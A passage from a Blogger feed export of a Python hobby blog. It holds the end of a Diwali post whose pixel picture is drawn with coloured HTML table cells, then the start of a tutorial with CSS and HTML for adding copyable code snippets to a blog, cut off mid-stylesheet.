&lt;td style=&quot;background-color: #640003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #600102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d0201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5a0100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #590101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #550101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #500001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d0002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #450200; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f0000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #340101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #280001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #230101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e0200; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c0201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c0003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #190002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #150002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #140102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #140102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #190002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d0001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #210001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #230000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #290001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #340204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #390103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f0102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #430101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #460103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b0104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #510103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #580002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #590101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #580201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #590100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b0100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d0202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #600202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #630203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #750102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #740202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #710201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e0200; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e0102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e0104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e0202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d0200; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b0000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b0003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b0004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #660102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #620101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5e0102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b0304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5e0204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #600104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d0104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #590103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #560103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #590106; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #570106; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #550105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #520104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #510105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #530105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #540105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #560005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #540104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #530305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #560306; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #550105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #560105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #560104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #580002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d0100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #600004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #640105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #660203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #680101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d0204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b0404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #670101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #670102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c0105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d0106; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;As I said, this is not an Image this is made in Python. If you would love to know how I did it comment below and show your support.&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/2134538621104047149/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/happy-diwali-2021-this-is-not-image.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/2134538621104047149'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/2134538621104047149'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/happy-diwali-2021-this-is-not-image.html' title='Happy Diwali 2021 - This is NOT an Image 😂. This is made in Python 😉 '/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-2766024562921218025</id><published>2021-11-01T06:37:00.017-07:00</published><updated>2021-11-15T07:37:07.237-08:00</updated><title type='text'>How to add Python Code Snippet to your blogger or website? (Version. 2.0)</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEhoj6B2qGleNONfIWfqLHyAO4UJRQLNcJ0lnK_EUnYSV9VErer0aEPXSnrRBfLs7bZTGMssNDcd5h-_UEpm1TNaU1GsnS2iczsa6AeuFG0dUNpnV3VvhfKQzjMm12dp-drqpR71WxlHgkVzvQIpoDTFYBPBBFrh_gDZKWiSaRhkS5js50ECx0udAuNO&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;How to add python code to blog or website&quot; border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1024&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEhoj6B2qGleNONfIWfqLHyAO4UJRQLNcJ0lnK_EUnYSV9VErer0aEPXSnrRBfLs7bZTGMssNDcd5h-_UEpm1TNaU1GsnS2iczsa6AeuFG0dUNpnV3VvhfKQzjMm12dp-drqpR71WxlHgkVzvQIpoDTFYBPBBFrh_gDZKWiSaRhkS5js50ECx0udAuNO&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
&lt;style&gt;
  
  div.card {
  text-align: left;
  font-family: &#39;Aclonica&#39;;font-size: 22px;
  border: 2px solid #FFDD00;
}
/* Code By Webdevtrick ( https://webdevtrick.com) */
.shimmer {
  font-family: &quot;Lato&quot;;
  font-weight: 30;
  font-size: 1em;
  margin: 0 auto;
  padding: 0 140px 0 0;
  display: inline;
  margin-bottom: 0;
}
.shimmer {
  text-align: center;
  color: rgba(255,255,255,0.1);
  background: -webkit-gradient(linear, left top, right top, from(#222), to(#222), color-stop(0.5, #fff));
  background: -moz-gradient(linear, left top, right top, from(#222), to(#222), color-stop(0.5, #fff));
  background: gradient(linear, left top, right top, from(#222), to(#222), color-stop(0.5, #fff));
  -webkit-background-size: 125px 100%;
  -moz-background-size: 125px 100%;
  background-size: 125px 100%;
  -webkit-background-clip: text;
  -moz-background-clip: text;
  background-clip: text;
  -webkit-animation-name: shimmer;
  -moz-animation-name: shimmer;
  animation-name: shimmer;
  -webkit-animation-duration: 2s;
  -moz-animation-duration: 2s;
  animation-duration: 2s;
  -webkit-animation-iteration-count: infinite;
  -moz-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
  background-repeat: no-repeat;
  background-position: 0 0;
  background-color: #75715e;
}
@-moz-keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
@-webkit-keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
@-o-keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
@keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
&lt;/style&gt;
&lt;p&gt;In my last post i.e. &lt;a href=&quot;https://pysnakeblog.blogspot.com/2021/10/how-to-add-code-snipit-to-your-blogger.html&quot;&gt;https://pysnakeblog.blogspot.com/2021/10/how-to-add-code-snipit-to-your-blogger.html&lt;/a&gt; I have showed you how you can add code to your blog or website.&lt;/p&gt;&lt;p&gt;But in this there is little bit of an update to that very same code.&lt;/p&gt;&lt;p&gt;Features of this code?&lt;br /&gt;✔️ Posting Python Code + other language code without losing its indent format.&lt;br /&gt;✔️ Copy Paste Function directly from HTML using Javascript.&lt;br /&gt;✔️ A pop up confirmation that you have copied the code.&lt;/p&gt;&lt;p&gt;*You can refer to the previous tutorial that I have posted earlier if you do not understand certain things. Same link is given above.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Use this html code in your blog / website&lt;br /&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;/p&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;meta&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;name=&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;viewport&quot;&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;content=&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;width=device-width, initial-scale=1&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span style=&quot;color: #a6e22e;&quot;&gt;src=&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span style=&quot;color: #a6e22e;&quot;&gt;src=&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;https://cdn.jsdelivr.net/clipboard.js/1.5.12/clipboard.min.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;style&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;button&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;display&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;inline&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;padding&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;5px&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;20px&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;font-size&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;24px&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;cursor&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;pointer&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;text-align&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;center&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;text-decoration&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;outline&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;color&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;#fff&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;background-color&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;#303134&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;border&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;border&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;radius&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;15px&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #f8f8f2;&quot;&gt;box&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;shadow&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;9px&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;#999&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #f92672;&quot;&gt;button&lt;/span&gt;&lt;span style=&quot;color: #a6e22e;&quot;&gt;:hover&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;background-color&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;#202124&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #f92672;&quot;&gt;button&lt;/span&gt;&lt;span style=&quot;color: #a6e22e;&quot;&gt;:active&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;background-color&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;#FF7357&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #f8f8f2;&quot;&gt;box&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;shadow&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;5px&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;#666&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #f8f8f2;&quot;&gt;transform&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;translateY(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;4px&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;);&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;/* Popup container - can be anything you want */&lt;/span&gt;
&lt;span style=&quot;color: #a6e22e;&quot;&gt;.popup&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;position&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;relative&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;display&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;inline&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;cursor&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;pointer&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;webkit&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;moz&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ms&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #f8f8f2;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;/* The actual popup */&lt;/span&gt;
&lt;span style=&quot;color: #a6e22e;&quot;&gt;.popup&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;.popuptext&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;{&lt;/span&gt;
